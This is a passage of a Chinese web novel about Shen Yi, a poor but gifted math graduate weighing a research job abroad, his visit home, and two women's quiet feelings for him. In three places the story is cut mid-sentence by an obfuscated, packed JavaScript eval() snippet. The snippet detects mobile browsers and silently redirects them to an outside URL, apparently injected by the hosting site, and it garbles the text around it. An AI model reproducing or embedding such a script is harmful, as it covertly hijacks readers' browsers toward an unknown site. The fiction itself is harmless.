将显影液倒入显影罐的时候,下午的场景在他脑海中闪现。 其实他没在楼下等很久,刚过来不到十分钟就看见了他们。 高中时徐清旖喜欢写小说。 她的文笔很好,想象也总是天马行空,那时候大家总是传阅她的小说作为课余的休闲。 沈翌也看过,他曾经花费了一整节美术课的时间,认认真真地读完了她的作品。 徐清旖在小说中剧情不复杂,大概就是女孩与英俊潇洒的富家男孩相爱,然后经历重重阻挠最终在一起的故事。 她说是受了《傲慢与偏见》的影响,沈翌当时回答说:“确实很伊丽莎白和达西。” 最后徐清旖的小说不了了之,故事情节差不太多,但他对那位男主角印象很深刻。 他年轻、富庶、英俊、幽默,和李安一模一样。 沈翌叹了一口气,将定影液导入显影罐并继续摇晃它,最后用干净水冲洗以后,把它们放进了无尘室中准备晾干。 晚饭时,万师傅问他:“小沈啊,我一直没问你,你将来有什么打算啊?” “还没想好。”沈翌垂了垂眸,长长的睫毛映下浅浅的一层阴影。 万师傅将菜盘里的鸡腿挑给他。 “我知道你是个聪明的孩子,所以我一直觉得,在我这间小店里做店员是真的委屈你了。前几天我碰见一个老同学,他现在在美国做研究,其实也是相机产品,不过人家做的是时尚的东西,数码相机。” “您的意思是?” “他给我说,他们公司正在全球内招聘研究型的储备人才,要求是数学与物理领域出色的年轻人。” 万师傅挑了一筷子咸菜,然后又吃了几口饭,“开发和设计新芯片,如果你愿意的话,我给你报名。” 沈翌早已经碗筷放在桌子上,他顿了顿,“我的学历不太高。” “南方大学还不错,只是数学专业在全国排名并不高,但是你给我的感觉其实……” “当年。”沈翌已经对这段往日缄口不言很多年了,他伸手碰了碰桌角,主动提起来,“我考得上清华数学系。” “为什么没去?” “因为……”沈翌说:“没有全额奖。” 万师傅张口忘言,他知道因为家庭不太好放弃学业的人比比皆是,却没想过会有人因此放弃了清华的学习机会。 “老师说,我可以申请半工半读,但是我走不了。” 沈翌的语速不快,似乎是在回忆。 “我出生的时候,母亲因我难产而死。父亲是一名建筑工人,我四岁那年,他从高处坠下,我是由爷爷抚养长大的。我的家庭无法支付高昂的学费,我想我也应该留在本地照顾年迈的老人,南方大学的数学系给予我全额奖的名额,所以我最后并没有填报清华。” 他隐去了自己被抢走全额奖名额的那一段往事,只是淡淡地将过去用最普通的话复述一遍,却还是让人感慨。 万师傅未曾想他的过去如此多舛,还没想好该说什么话,又听见沈翌说:“我大二的时候,爷爷和小区里的一位奶奶开始了一段黄昏恋。” 也许是想起来了什么有趣的事,他笑了笑,“他不想让我留在闭塞的南城,所以催促我毕业以后走出去,恰好那时候同学聚会碰上了徐清旖,她让我南下工作,所以我就过来了。” “你的学历确实是一个短板,大家只看结果,并不会在意你经历过什么。” “不过你可以去试一试,你高中和大学有参加过什么竞赛吗?让你们老师写一个推荐应该也有点用,主要是获奖情况。实在不行的话,我帮你打听一下他们有没有提前做的笔试,那样你会更出彩一点。” “有获过奖,不过我不太清楚那些比赛的含金量。” “这样吧,你把奖项列一个清单,越详细越好,然后我帮你去问问。”万师傅说:“还有有时间的话,找人写一封推荐信,最好是你们领域知名一点的人物。” “对了,下午文化局的刘局长给我打了个电话念叨你。”万师傅笑了笑,“他说你青年才俊,想让你去文化方面做研究,我给你回绝了。” “谢谢师傅,我做决定的话也是这个想法。” “知道你喜欢数学,你这孩子,我们中国可是数学的故乡,好好干,我相信你会有一番作为的。” - 黎江多雨,尤其是到了现在这个季节,小雨绵绵地下了有大半个月。 万师傅今天没过来,他有风湿,阴雨天的时候沈翌都会自己一个人待在店里。 先推开门的是一个年轻的女孩子,大概是十八岁左右的样子。沈翌以为是来拿相机的客人,放下手里正在写的工作笔记,带着她来到了储存柜,他问她:“您是要取哪一款相机?” “我不是……”女孩说:“我是陪我爸爸过来的。” 沈翌眨眨眼,然后问:“那你?” “爸爸在接电话,我先进来看看。”她笑着道:“你平时看见客人也是直接带过来取相机吗?” “不好意思。”沈翌也不好意思,“刚刚走神了,没反应过来。” “你真有意思,我叫刘语潇,你呢?” “我叫沈翌。” “我一猜就是你。”刘语潇笑起来会露出两颗虎牙,小酒窝若隐若现。 沈翌还来不及问为什么,就听见又传来一道开门声。 “小沈啊。”刘局长走了进来,他首先看向沈翌点点头,然后才对刘语潇道:“我还说我一转眼你去哪儿了?” “你接电话太麻烦了,这个问好,那个没关系的,我就自己先进来了。”刘语潇说:“刚刚他还以为我是来取相机的,直接就带我过来了。” “刚刚有点走神了。”沈翌问。 “你别理她。”刘局长笑得乐呵呵的,“这孩子打小就爱开玩笑。” 从刘局长进门的那一刻,沈翌就已经猜出了他们的关系,于是应了一声便没再继续这个话题,他问:“我还以为会是王先生来取照片。” “我们要去江北吃饭,顺便就过来啦。”刘语潇说。 “你这儿也快下班了吧,我们一起去吃?”刘局长也问。 沈翌把照片整理好,“谢谢局长,不过万师傅今天一个人在家,我要去给他送饭,他身体不好,缺个人照顾他。” “没事,我来安排。待会儿你把地址告诉我。” “对呀,一起去吧!” 沈翌便不能再拒绝,只能点点头,应了下来。 上车以后,他才发现刘语潇的母亲坐在副驾驶座位。 “沈翌是吧?”刘夫人看上去是一位很温婉的人。 “这位是我爱人,语潇的妈妈。”刘局长介绍。 “夫人您好,我是沈翌。” 刘夫人点点头,“你好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389879|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈翌有点不知所措,他觉得自己不该答应这场饭局,说是饭局,其实更像是家庭聚会。 这种陌生的感觉让他无所适从。 刘语潇似乎发现了他的局促,探出脑袋,“哎呀,别聊啦,快开车,好饿啊。” “好好好,我的大小姐。” 江北的这家店在黎江极为出名,许多人来这里旅游会花很长时间排队只为一饱口福。 “据说是正宗的京菜,我们单位上吃饭来过这里,但人老了,吃不出来正不正宗。” 刘局长把玻璃的转盘转到刘语潇和沈翌的那一边,然后说:“你们快尝尝。” “谢谢局长。” “叫刘叔吧,我又不是你领导,而且这也不是工作时间。” “我叫刘叔吗?”刘语潇眯着眼睛问。 “你这孩子,皮得很。”刘夫人说:“小沈啊,多吃点。” “好的,谢谢夫人。” 刘局长点的菜不少,吃到中途又问他:“你喝酒吗?” “抱歉,我不喝酒。” “不喝酒才是对的。”刘夫人赞同。 “男人可以学着喝点酒。”刘局长不服气,刘语潇气鼓鼓地指他肚子,:“爸爸,你看你的啤酒肚。” 局长又转过头去和自己的女儿聊天,是在说职场中会喝酒的重要性。 沈翌低头笑了笑,他听见刘夫人说:“别理他们,小沈。” 他摇摇头,刘夫人又问:“你是哪里人啊?” “我是南城人。” “那为什么来黎江呢?” “有朋友在这边。” 刘局长和刘语潇那边没了声音,刘夫人接着问:“你父母都在南城吗?” 沈翌顿了顿,他有点抗拒这个问题,但最后还是低低“嗯”了一声。 “他们很早之前就去世了。” 刘夫人似乎也没想到,隔了几秒才反应过来,忙说着:“抱歉,小沈,阿姨不知道。” “没事,已经很久了。” 刘局长解围道:“吃饭吃饭,别聊天了,来尝尝这个烤鸭,小沈来,碗拿过来。” 初中的时候,有一次作文题目是“我的妈妈”。 在沈翌的记忆里,这是一个极其陌生的词,同学的文章里的“温柔”“严厉”“港湾”一类美好的形容,在他这里都是空白的。 大学时有一次班级组织看电影,也是一个和亲情相关的故事,到了最后煽情的部分,同学们都开始低声哭泣。 同宿舍的同学给他递纸时才发现他没有一点触动,于是后来他们都说他情感迟钝。 徐清旖也这样说过,不过她用的词语更高级些。 高中时徐清旖养过一只白色的小兔,有一天她带小兔出来玩,不过是个转身的功夫,小兔就被学校的流浪狗叼走了。 那天下午她哭得很伤心,同学们都来安慰她,沈翌不会说漂亮的话,只能在一边给她安静地递纸,一会儿又去给她把水接满。 直到快下课,徐清旖仍没能从巨大的悲伤中走出来,声音里还带着浓厚的鼻音,她说:“我只是去小卖部买了一瓶水,回来它怎么就没有了呢?” 沈翌张了张嘴,想说话,又顿了顿,然后才开口:“你以后不要养小动物了。” “为什么?” “如果你还没有做好失去的准备,或者说失去仍然会让你痛苦的话,一开始就不要去拥有。” 他还记得他说完以后,徐清旖看着他的眼神。 她说:“沈翌,你一定是没有情感感知能力,你是个冷冰冰的人。” 5. 故人情 月底时,沈翌和万师傅请了个假,然后才去找徐清旖。 “我都不知道这些事。”她说。 沈翌笑了笑,从装葱花的碗里舀了一勺放进她的蹄花汤里。 “你最近太忙了,我就没告诉你。你快吃,凉了会腥。” 徐清旖叹了口气,“可是我竟然一点也不知道,一定是因为我们太久没联系了。” “那你这一次要去多久啊?” 沈翌伸手将她面前的小碗拿过来,一边用里面的勺子搅拌着加醋,一边微微偏着头回答她。 “万师傅让我办好了再回来,我快去快回。” 他把碗递过去,徐清旖接过来,“我给我爸发个传真吧,让他去老袁那里问问,应该会有你的那些记录存档。” “不用,不麻烦徐老师了。反正我要回去,自己就行。” “那李主任那里怎么办?我怕他给你使坏。” “不会,当年我也没说什么,不至于。” 沈翌笑了笑,“我担心的不是他使绊子,只是我以前参加的那些比赛都是些小奖,我怕含金量不够。” 徐清旖狠狠咬了一口白萝卜,只当它是李主任。 “其实南大真的挺好的,你总是自卑,在国内数一数二算不上,前三肯定是有的。而且当年你是因为奖学金才去的,和你的能力没关系,你不要总是这样想,自信一点。” 沈翌点点头,徐清旖又说:“不论是什么奖和经历都写上吧。什么数学,什么奥林匹克的,哦对了,你不是还练过跳高吗?” “校运会拿奖也写吗?没什么用吧?”沈翌笑着问:“好了,我知道了,你不用担心。我只是有一点不确定。” “不用不确定。” 徐清旖想起来从前他给自己讲过的道理,“还记得你给我讲过的薛定谔的猫吗?盒子打开之前一切都还是未知的,既然决定要去打开它,就只需要等待结果就行了。” “还记得呢?” “当然,那时候……” 话还没说完,却忽然被打断,“徐清旖?” “肖总?”徐清旖看了看他,又看见他身后的林知一,“你们来喝蹄花汤啊?” 林知一刚从上海回来,去年□□做出了开发浦东新区的决策,公司的上级也决定借着这次机会再扩大公司的规模。林知一也在这一次被选派出去分公司的名单之中。 “李安先生呢?”打过招呼后,肖珩问。 “前几天他感冒了,昨天刚陪他从医院回来,今天应该是在休息。”徐清旖看向林知一,“知一姐刚回来,我来请客吧。” “谢谢啦清旖。”林知一把包放在旁边的凳子上,然后又问沈翌:“你们一起来吃饭啊?” “对,过两天要回去一趟,来告个别。” 肖珩问:“这位是?” “这是我的同学,沈翌。”徐清旖介绍道:“这是我领导,肖珩肖总。” 她偷偷朝沈翌眨眼,沈翌忽然想起来她曾经提到过这位肖总,于是站起来朝肖珩伸手。 “肖总,您好,有幸听说过您。” “是吗?”肖珩也站起来回握他的手,“幸会,沈先生。小徐她提过我?” 徐清旖抿抿嘴,不敢接话。 “是的,清旖说当初她能进入公司要感谢您的推荐。” “你们是校友吧?”林知一问。 “对啊。”肖珩说:“我做学生会主席的时候,她是她们部门的副部长。” “肖总说得没错。”徐清旖回答。 “你们是怎么认识的?”肖珩问的是林知一和沈翌。 “清旖搬家的时候是沈先生来帮的忙。”林知一说:“对了,你回去是有什么事吗?” “回去拿资料,工作上的问题。” - 从黎江坐火车到南城需要一天多的时间,沈翌在火车上熬了十多个小时,只是在最后快到站的时候,才闭上眼睛浅浅地睡了一会儿。 南城是一座西南边陲的绕江小城,市内只有两所中学。 徐清旖的父亲就是他们曾经所就读的一中的语文老师,当年他还为了沈翌保送名额的事与主任吵过一架。 徐清旖后来还是给父亲发了电报,告诉他沈翌即将回去。 沈翌当年是他们学校的名人,他成绩拔尖,模样清秀干净,话不多但是性格很好,加上他家里的那档子事,老师们几乎都认识他。 和徐清旖做了同学以后,两人关系好,有时候麻烦人家帮忙拿东西,她总是会留沈翌在家里吃饭。 沈翌心里也清楚,爷爷年纪大了,徐老师和师娘是故意让他去家里吃饭,顺便给爷爷带回去的。 曾经有一次他帮徐老师送忘带的教材回家,刚好听见他们夫妻的对话。 师母正在整理新的被褥,她一边拿小棍敲打被子,一边叹气。 “我菜都买好了,结果你没叫人家回来。” “那我哪知道今天报纸不送嘛,我也没收什么作业,找不到借口再请他来家里一趟了。” “这孩子命苦啊。” 师母说着狠狠敲了一下被褥,“我们清旖和人家做朋友,她不好体会小沈的感受,每一次吃饭我都怕他会自卑。” 徐老师似乎是翻了报纸还是书。 “别担心了,小旖看起来不懂事,实际上心里清楚着呢!小沈争气,回回考第一,我们啊做好自己该做的就行了,相信孩子们。” 那次以后,沈翌便很少拒绝徐老师的邀请了,邻里都笑说徐老师和师母运气好,白捡一个儿子。 只有沈翌自己知道,运气好的从来就是他。 下车后,沈翌老远就看见了徐老师和师母。他们的精气神还是很好。 “小沈,回来啦!”徐老师朝他招手。 沈翌跑到他身边打招呼,“老师,师母。” 徐老师拍拍他的肩感叹道:“孩子又长高了。” “长高啦,孩子累了吧?”师母从头到脚把他看了一遍。 “不累,睡了一觉。”沈翌摇摇头,笑着说:“是徐清旖说的我要回来的吗?” “是啊,小旖才告诉我们。”徐老师说:“走,去我们家吃饭,你师母念叨你,起了个大早去买菜给你做饭。” “谢谢老师、师母,我先去看看爷爷吧,然后我就过来。太久没和他联系了。” 徐老师笑着抓住他的手,“走吧,我们把你爷爷接过去了,我们一起吃饭。” - 徐清旖的家在老街旁的一个小院里,院子前有一个圆形的小花坛,里面种植着一棵挺拔的松树。 现在他的爷爷站在那棵树下,隔着老远向他们挥手。 “怎么穿这么少就往家里跑?”爷爷摸了摸他身上的单衣说。 “爷爷,没事儿,我抗冻。” 徐老师和师母也笑得乐呵,喊着他们进门坐。 “爷爷,这是电子锤骨器,是按摩的,您一个人在家里要多注意身体。”沈翌说:“清旖还给您买了些核桃粉,待会儿回家我给您冲一杯。” 爷爷接过电子锤骨器,低下头仔细研究,“哎,这东西还有电子的呢?” 徐老师笑着说:“我之前啊,在电视上看见过,您一个人在家的时候用来捶后腰和脖子后面,那都是没有问题的。” “徐老师,师母,这是我给你们带的一些小东西。我记得您喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389880|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝酒,这是我们店里老板常喝的牌子,他说味道很正宗,您尝尝。” 沈翌把酒递给徐老师之后,又从袋子里拿出几个盒子。 “师母,女孩子用的东西我不太懂,所以是麻烦清旖帮我挑的。她说这个不错,还说您一定会喜欢,您看看。” “你这孩子,回来就回来,怎么还为我们破费了呢?”师母接过去,“我们年纪大了,哪需要这些东西啊?” “哎这酒好!”徐老师忽然说。 沈翌笑着又将袋子里徐清旖给买的东西拿出来,“老师都说好了,师母您就收下吧。现在我也能挣钱了,钱就是要用来花的嘛。” “你别理他!”师母瞪了徐老师一眼,“他整天就知道喝酒。” “这酒好啊,这酒好。”徐老师乐呵呵的,对师母说:“今晚小沈回来,高兴,我们喝一杯?” “小沈当然可以喝。” 师母收拾好东西,转身进了厨房。 “这人……”徐老师转过身看了看沈翌,后者笑着补充道:“师母不让喝,我也没办法了。” 爷爷一边笑一边说:“小翌去看看你师母要不要帮忙?” “不要不要,待会儿直接吃饭!小沈累了!”师母的声音从厨房传出来。 距离沈翌离开这个城市不过仅仅过去了几个月的时间,对于他的亲人们来说,时间却是如此的缓慢。 地图上用一只手就可以进行丈量的距离,生生隔断的是普通人的交流。 - 黎江又下了一场雨,徐清旖将随便从路边买的伞收起来,然后才走进相机店。 “万师傅在吗?”她问。 “在在在!”老人从后边跑出来,问:“姑娘,拍照还是买相机啊?” “师傅您好,我是沈翌的朋友,徐清旖。”徐清旖说。 万师傅刚出来的布帘轻启,从后面又走出一位年轻的女生,披着长发,眼睛圆圆的像是小鹿。 “徐清旖!我知道你!” 万师傅笑着招呼她进来,看见身后的女孩才反应过来给她们介绍。 “这也是小沈的朋友,文化局刘局的女儿,刘语潇。语潇啊,这是沈翌的老同学,徐清旖。” “你好。”刘语潇看向徐清旖手上的饭盒,“你是来给万师傅送饭的吗?” “你好,啊……对,沈翌走之前拜托我说万师傅一个人。”徐清旖把饭盒递给万师傅。 “这小子,瞎搞什么呢?”万师傅嘀咕,“语潇也是来给我送饭的。” 徐清旖说:“啊?那你们已经吃过了吗?” “不是不是……”刘语潇摆摆手,不知道否认的是什么。 “你们坐,我把盒子洗干净还给你。”万师傅摆摆手,“明天你们别来送了,我每天打牌,那里管饭的。沈翌这孩子,就是操心太多了。” 万师傅走后,空气沉默了一会儿。 “你……” “你……” 刘语潇没推辞,“要不还是你说吧?” “你说吧,你问完我再问。” “你和沈翌……你们?” “高中同学,一起在这个城市工作。”徐清旖抿了抿唇,“是沈翌让你来照顾万师傅的吗?” “不是,上一次他和我们吃饭的时候,我看他很担心万师傅一个人在家。我就想着他回去之后,肯定没人给万师傅送饭。” 徐清旖点点头。 她其实想问的有很多,怎么认识的?为什么会一起吃饭?为什么要替他照顾万师傅?她有好多问题,但因为觉得每一个都很越界,所以一个都说不出口。 刘语潇看了她两秒,忽然问:“你喜欢沈翌吗?” 6. 求不得 徐清旖不止一次面对过这个问题。高中时女孩们情窦初开,同学们常常会打趣问她:“你是不是喜欢沈翌?” 读了大学以后回去参加同学聚会,朋友说沈翌本来不打算来,听见她会回来才又改了主意,所以他们起哄说让他表白。 毕业的时候,母亲催着她找个男朋友,拐着弯地打探她和沈翌的关系。 就连刚刚和沈翌见面的李安,也会问:“你们是在谈恋爱吗?” 她是怎么回答的呢?高中时她说:“我和沈翌怎么可能啊?” 同学聚会时她说:“你们别瞎猜,他有喜欢的人。” 高考之前沈翌亲口对她说,他有喜欢的人。他说他会陪那个人在同一个城市读大学。 他刚开始打算去北京,后来留在南城。 她从没见过他说的那个人,也根本不敢问。 “我们是很好的朋友。” 徐清旖这样回答刘语潇的问题。 “那沈翌他以前有过女朋友吗?”刘语潇问:“或者有喜欢的人吗?” 徐清旖眨了眨眼睛,似乎是在回忆。 从前的一个夜晚,南城的夜晚有蝉鸣,它们躲在大大的树叶下面,一声又一声地叫嚣着。 黄色的路灯闪着微弱的光,一盏一盏地延伸至很远的地方。 那时候沈翌送她回家,他推着自行车,听见徐清旖的问题,嘴角弯出一个很浅的弧度。 “我喜欢她穿蓝色的裙子,披着头发,对我笑的样子。” “她很适合蓝色吗?” “不是。” 沈翌还没换下校服,看起来青春洋溢,停下脚步看着她,“所有的颜色都很适合她,是我在做难题。” “她很好看,是我见过的最好看的人。” 徐清旖从回忆中回过神来,点点头,“应该是有喜欢的人。” 万师傅将饭盒腾空洗净后拿出来,然后赶们她走。 “年轻人别挂念我这个老人,走吧。” 刘语潇点点头,徐清旖和他告别后。两人一起往外走。 南城近两年城市规划变化很大,往年路边高大的树木被移走了许多,转而种上了桂花树。 每到九月,整座城市丹桂飘香,偶尔遇上调皮的孩子轻晃树干,树枝间簌簌掉落许多花瓣。 “你们是怎么认识的啊?”徐清旖还是没忍住问了。 “爸爸和他们合作一个项目,刚好我也在,就认识了。”刘语潇感叹道:“高中同学的话,你们认识很多年了吧?” “对啊,我们很小的时候就认识了。”徐清旖觉得自己像是一个争宠的不太聪明的女性角色,她的回答明显太过争风吃醋。 果然,刘语潇转过头来紧紧盯了她一会儿,像是战场上的女将军,眼神犀利精明,仅仅是目光就像是要将她洞察清楚。 徐清旖正想着,下一秒,女将军提剑单刀直入,问:“你喜欢他吗?” 徐清旖慌了神,嘴比脑子快,“怎么可能,我喜欢他的话,还会等这么久吗?” 可是还没来得及矛盾一两句,女将军却不是个拖沓的人。 “也是,如果喜欢的话早表白了,怎么会等这么久。” 徐清旖无话可说,毕竟她对沈翌的依赖感连她自己也没有搞清楚到底是不是爱情,更不可能把这个秘密拿出来和刚认识的人讨论。 何况这个时候沈翌正在南城,他在努力奔赴一个更灿烂的人生未来。 - 沈翌不是一个喜欢热闹的人,大学四年除了学校的志愿者社团,他没有再加入过任何的学生组织。 在图书馆学习的他,会凭借一张英俊的脸在校内出名,可这种吸引力只是暂时的。 心动的女孩们大多认为他无趣,远不及球场上阳光的开朗型男生有魅力。 沈翌不在意这些事,反而在听说了缘由以后,将晨跑和夜跑的时间提得更早或更晚,他更习惯一个人。 当然还是会有对他念念不忘的女孩子,例如此时气喘吁吁跑来的这位。 “沈翌同学……” 沈翌记得她,同系比他小一届的学妹。 老师以前安排过沈翌去给她们班监考一次测试,那个第一个交卷的、写字漂亮得出奇的女生。 最重要的是她和当年的沈翌一样,也看出了穆老师故意设错的题目,在第三题假设的存疑条件那里留下了一个漂亮的问号。 “穆老师有点走不开,他安排我来先带你逛一逛,我叫许安怡,比你小一届。” 穆老师是他们专业的系主任,想必这位许安怡也是一位得意门生。 “不用了,我自己逛就行,毕业也没多久,你有事就去忙吧。” “不会的,我不太忙……”许安怡戴着一副眼镜,说话时会低下头。 “那就麻烦你了。” 穆老师常年是一位大忙人,读书的时候沈翌就总是帮他做事。 今天大概也是遇见了什么推脱不了的事,于是派了这位学妹来看住他,不让他拿了资料就走。 “学长,你回来是有什么事吗?”许安怡走在他身侧,这样问。 “拿点资料。”沈翌笑了笑,“我记得你,比我小一届的专业第一。” 许安怡突然停下脚步,隔了几秒才磕磕巴巴地说:“我……我以为你不知道我……” “不会,我替老师批过很多次试卷,你完成得很好,记得是自然的。” 沈翌问:“你喜欢数学吗?” “当然!”许安怡急道:“虽然很冷门,但我真的很喜欢,从小学开始……” 她的声音越来越小,最后几个字沈翌几乎有点听不清。 “如果喜欢的话,就坚持下去,数学真的很美。” “那学长现在还在学数学吗?” “我没读书了。”沈翌看了看她,笑着说:“但也没有放弃数学,是我……缓解压力的一种方式。” 聊天间竟已经走到了学校礼堂门口,这是一座建国时才修建的建筑,几年前翻修过的红瓦在阳光下闪闪发光。 门口的短梯旁新建了花坛,里面栽培着两株漂亮的铁树。 “可是数学专业学出去只能做老师了吧?” “不是把爱好当职业才叫做坚持喜欢,只要你没有放弃,就仍然在坚持。” 沈翌的视线落在那株铁树上,片刻后又看向她。 “如果你喜欢做老师,喜欢数学,就做数学老师;如果你不喜欢,就不做老师,两者没有冲突。” 沈翌今天过来的时候,穿着一件白色短袖配蓝白色外套,干净的头发软软地趴在额头上面一点,看起来青春洋溢,像是在南方大学里与同学交谈的高年级学长。 沈翌转过头去看操场的时候,许安怡才回过神来,他的侧脸线条流利,不说话时安静得像是一幅画。 她没话找话,问他:“学长,你知道泡利效应吗?” 他笑起来两颊像是两个小括号,爽朗又自然,“他也给你们讲这个了?” “对,刚刚看你在看操场,就想起来了。”许安怡说:“他就是在这里告诉我们的。” “穆老师经常会带学生来这里感受自然,因为他认为数学应该和自然一样让人放松愉悦。” 风吹过的时候,操场旁的桂花树阵阵飘香。 沈翌忽然将手靠近她垂在肩膀外的头发,许安怡怔愣了一瞬间,就听见沈翌的声音。 “你看。” 许安怡的头发并不长,仅仅是刚到锁骨的长度。 顺着沈翌的目光,她看见自己随意靠在肩膀处的碎发,它们正由于静电的原因靠近沈翌的手背。 “这才是自然的科学。” 沈翌收回手。 “所以我认为穆老师讲的泡利效应,一定程度上确实是适用于我们的。虽然他很讨厌这种说法,可是怎么办呢?我们的确不用下实验室,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389881|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以在别人看来我们是这样的。” “会理论,不会实践。这就是泡利效应。”他说。 “但是……我和穆老师的看法一样!” 许安怡忽然伸手扯住沈翌的衣袖,这个本来在她看来过于越界的行为,但是她不想松手,她想让沈翌记她再深刻一点,“计算就是我们的实践。” “如果只是单纯将实践看作是下实验室的话,那么世界上那么多其他学科的学生难道就都是泡利吗?” 许安怡举例,“学语言的人的实践是交流,学美术的人的实践是绘画,泡利效应只适用于物理学中的理论者,而我们学习的就是实践。” 沈翌若有所思地点点头,然后才笑着说:“谢谢你,许同学。你说服我了。” “你和穆老师说过这些吗?” 许安怡松开手,“没有。” “可以和他讲讲,他会视你为知己的。” 沈翌轻笑一声,似乎是在自嘲,“泡利效应本来讲的就是戏剧性的双向连接反差,结果我自己却把对象都搞错了。” “没有的,学长你真的很厉害,是我班门弄斧。” 沈翌靠在操场旁的双杠边摇摇头,忽然看见了远处的来人,他举起手招手,许安怡才看见跑来的穆老师。 “还好保安见过你们,帅小伙和大美女,不然我都找不到你们俩了。” 穆老师是一名和善的中年男人,头发由于花白已经被剃至极短,运动服显然有些不太合身,微微垮在肩上衬托来人的匆忙。 “穆老师。”许安怡红着脸叫他,“不会带学长走太远的,不然你找不着。” “行,你有数。”穆老师笑着回答她后,然后才转过头看沈翌,“你小子,毕业后也不知道回来看一眼。” “穆老师,我去黎江市了。”沈翌应着他,“你知道的,那里太远,这也是我第一次回来。” “黎江?” “黎江?” 穆老师和许安怡同时问,大概是画面有点诙谐,沈翌抿着嘴笑,“是啊,有人说那里机会多,我就去了。” 他们一边说一边往办公室走,听见“有人”,都猜测不是普通人。穆老师问:“有人?谈朋友了?” 许安怡的脚步微微一顿,听见沈翌说:“暂时是朋友。” 她的步子慢了下来,穆老师道:“暂时?有出息啊沈翌,在学校的时候以为你是个闷罐子呢,这毕业没几个月,女朋友都快找着了?” 没等到他的回答,许安怡抬头偷偷看了看,才发现他眼里盛满了笑意。 温润如水,静静流淌的江水。 沈翌在电报中并没有直接表明资料的用途,听他细讲以后,穆老师喝了口茶,沉默了很久。 “那你是要出国吗?”许安怡忽然问。 “过了的话,应该会吧。” “是去哪?” “美国。”他说:“旧金山吧。” 穆老师将茶杯重重地放在桌上,他的表情严肃,仿佛不再是刚才那个幽默的老师。 沈翌站起来没说话,他听见穆老师说:“数学是中国人的学科,你是我最得意的学生,现在你告诉我,你要去美国人那里去学习?学什么?” “我不是学数学。”沈翌想要把事情讲清楚,许安怡甚至来不及阻止他。 果然下一秒穆老师指着他问:“你说什么?” 许安怡碰了碰沈翌的肩膀,不露声色的微微挡住他。 沈翌却退了一步,避开她的保护,朝她点点头表示谢意。 “老师,这个领域原本就不止有单薄的数字,您知道的。” “最开始做决定的时候,我也迷茫过、想放弃过,但是后来我就想通了。” 沈翌抬头看着他,眼神坚定却不会显得逼迫。 他说:“只坚持热爱对于我来说太奢侈了,但我坦坦荡荡,仍然可以说一句‘没有放弃数学’。因为它从来就和我在一起。” 7. 放不下 乌云压得很低,南城秋季的雨时常在这样一个安静的午后,淅淅沥沥地落下。 从学校出来以后,沈翌去了平桥市场买菜,他要准备回家做一顿饭,早晨邀请了徐老师和师母来家里。 卖猪肉的阿娘和从前一样,总是喜欢一边为客人割猪肉一边斥责她的儿子只知道玩,说他没出息。 沈翌的心情不错,出声说话的时候阿娘认出了他。 “你是沈老太爷那个孙子?” 他点点头,阿娘赶忙叫儿子出来。 “这是你沈哥哥啊,人家成绩可好了,来认识认识,以后有不会的问题可以找他。” “阿娘,孩子还小,不着急。” “不着急!”小孩儿鼓着腮帮子说:“你就知道催催催。” “嘿,你这臭小子!”阿娘讪讪地笑了笑,“你爷爷说你去外地了,怎么回来了啊?要买什么?” “买点骨头,还有猪肝。” 南城很小,更尤其是他们这一块儿,街头巷尾好像都是熟人。 等待摊贩给毛豆称重的间隙,沈翌忽然想起了下午离开学校的时候,许安怡送他。 似乎是怕他埋怨穆老师,临别时她才支支吾吾开口。 “穆老师只是有点接受不了,他家庭条件很好,上面有个哥哥,从来也不需要他操心家里的事,所以可以潜心研究数学。他也不是恶意的,可能只是不太理解。” 沈翌当然知道穆老师的出发点,更不可能因此就记恨他。 他又想起了穆老师在办公室的样子,都说家家有本难念的经,其实每个人都有本难念的经。 - 晚饭沈翌做的是生滚猪肝粥。 在砂锅中炖煮至将熟的大米,放入去了血水后干净的猪肝,再倒入两勺猪骨汤吊鲜,快出锅时撒上一把白芝麻加花生碎,再撇几滴橄榄油,粥便是香气扑鼻。 将做好的粥闷在砂锅里,他又蒸了二十只麦穗饺子。徐老师和师母喜欢吃辣,沈翌调了碗油碟,蒜、葱和花生碎摆在碗底。 搁姜的时候犹豫了一瞬间,想起来不吃姜的是徐清旖,这才轻笑着继续。 倒好醋和蚝油,再将锅里滚烫的热油盛出来倒入碗里,“滋拉”一声,卖相极好。 小菜配的是豆角炒鸡块,择豆角的时候是师母帮着弄的,她还和沈翌开玩笑,说他会做饭、会疼人,以后能娶个好姑娘。 徐老师坐在沙发上和爷爷下象棋,闻声对着沈爷爷说:“不如就娶了我们家闺女,咱们两家亲上加亲!” 爷爷也笑着说“好”,沈翌却没说话。 